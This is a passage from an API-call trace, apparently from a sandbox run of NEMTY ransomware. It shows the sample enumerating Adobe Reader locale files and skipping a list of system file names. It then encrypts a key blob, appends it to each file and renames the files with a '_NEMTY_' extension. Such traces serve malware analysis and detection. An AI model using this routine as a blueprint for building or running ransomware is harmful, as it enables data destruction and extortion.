10.0\\Reader\\Locale\\sv_SE\\Multimedia.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\multimedia.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Multimedia.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\multimedia.sve._nemty_kgobjgd_")) returned 1 [0184.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.571] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.SVE", cAlternateFileName="")) returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2=".") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="..") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="...") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="windows") returned -1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="rsa") returned -1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="NTDETECT.COM") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="ntldr") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="MSDOS.SYS") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="IO.SYS") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="boot.ini") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="boot.ini") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="ntuser.dat") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="desktop.ini") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="CONFIG.SYS") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="RECYCLER") returned -1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="bootmgr") returned 1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="programdata") returned -1 [0184.571] lstrcmpiW (lpString1="pddom.SVE", lpString2="appdata") returned 1 [0184.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SVE", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SVE", lpUsedDefaultChar=0x0) returned 9 [0184.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SVE", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SVE", lpUsedDefaultChar=0x0) returned 9 [0184.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SVE", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SVE", lpUsedDefaultChar=0x0) returned 9 [0184.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0184.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.SVE", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.SVE", lpUsedDefaultChar=0x0) returned 9 [0184.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.572] Sleep (dwMilliseconds=0x5) [0184.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21a9d1b0, dwHighDateTime=0x1d561e8)) [0184.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21a9d1b0, dwHighDateTime=0x1d561e8)) [0184.577] GetLastError () returned 0x0 [0184.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.577] GetLastError () returned 0x0 [0184.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.577] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.577] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.577] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.577] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="tQIQ4ZGccFmO39e0xppVlRMEdcl+Lipds/LiNadR2Ab/6N2dEAiDJrCrF15A211U\r\n2Qc+uCjNbbdKH09iDP90zJILPrq31CyYp+B3GBHRr88nsHMYdGzTXkN6wZ7zktyn\r\nOugvry51T4piE90EKf1TOThDEdQgYgPdijV5hbHV2FlKCJ1Fa/25i8qR/RSYdN5G\r\nGxfGG0qoL+0d7AsqGPi3H8InAR811vbjqbcz1fdKFBzj2LLqokn9rw7CCY4ZdbxY\r\nU/Rd284o5kxzVB5tbqnHNfj1HJmu/GuOf2l3NHoAwykc0sr6TDHZbfy1D3M4a0fB\r\njly3UGQHEDA7STIiLcaYMQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.578] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\pddom.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\pddom.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.578] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0184.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0184.578] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.578] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0184.580] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.580] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0184.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.580] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0184.580] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.580] CloseHandle (hObject=0x2e8) returned 1 [0184.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0184.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0184.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0184.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.581] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\pddom.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\pddom.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\pddom.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\pddom.sve._nemty_kgobjgd_")) returned 1 [0184.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0184.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.582] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7dc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.SVE", cAlternateFileName="")) returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2=".") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="..") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="...") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="windows") returned -1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="rsa") returned -1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="NTDETECT.COM") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="ntldr") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="MSDOS.SYS") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="IO.SYS") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="boot.ini") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="boot.ini") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="ntuser.dat") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="desktop.ini") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="CONFIG.SYS") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="RECYCLER") returned -1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="bootmgr") returned 1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="programdata") returned -1 [0184.582] lstrcmpiW (lpString1="PPKLITE.SVE", lpString2="appdata") returned 1 [0184.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SVE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SVE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SVE", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SVE", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SVE", lpUsedDefaultChar=0x0) returned 11 [0184.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.583] Sleep (dwMilliseconds=0x5) [0184.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21ac3310, dwHighDateTime=0x1d561e8)) [0184.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21ac3310, dwHighDateTime=0x1d561e8)) [0184.593] GetLastError () returned 0x0 [0184.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.593] GetLastError () returned 0x0 [0184.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.593] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.593] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.593] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.593] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Oi2bQ0dn8PfG1gEFNnxFKPK973TIZC/yFZslcRMid4xcv+4DZPLdiWaV4xQgCQ6N\r\nA3UwD3UlVABzml7v53k7Y8azzEO7KIyOx+5caPpWLzUfK+AmuAzqJ4NJK/a9fRz9\r\nUdhW2U39rREjakNKconthMFBb3Ygt02JYpBSezrSsFw2HazClLstjahQmDcQxlca\r\nA6pxgXU4RgusTRYdIKsLST3p2nvRj1BPKq5WhymT3i6WgKgBUJUdzw0eHuyH+eLA\r\nCs/+tRVN2jBRbNw2m1NaLdYLK7e35Q0xCLMPZfdUN9+ccQTX1znlnN78Q2DzbanD\r\nBdzRaMfH01ZoEGnc9TkeuQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.594] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\PPKLITE.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\ppklite.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.594] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=515072) returned 1 [0184.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0184.594] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.594] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0184.603] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.603] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0184.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.603] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=515072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7dc00 [0184.603] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.605] CloseHandle (hObject=0x2e8) returned 1 [0184.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.605] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.605] RtlAllocateHeap (HeapHandle=0x4f90000, 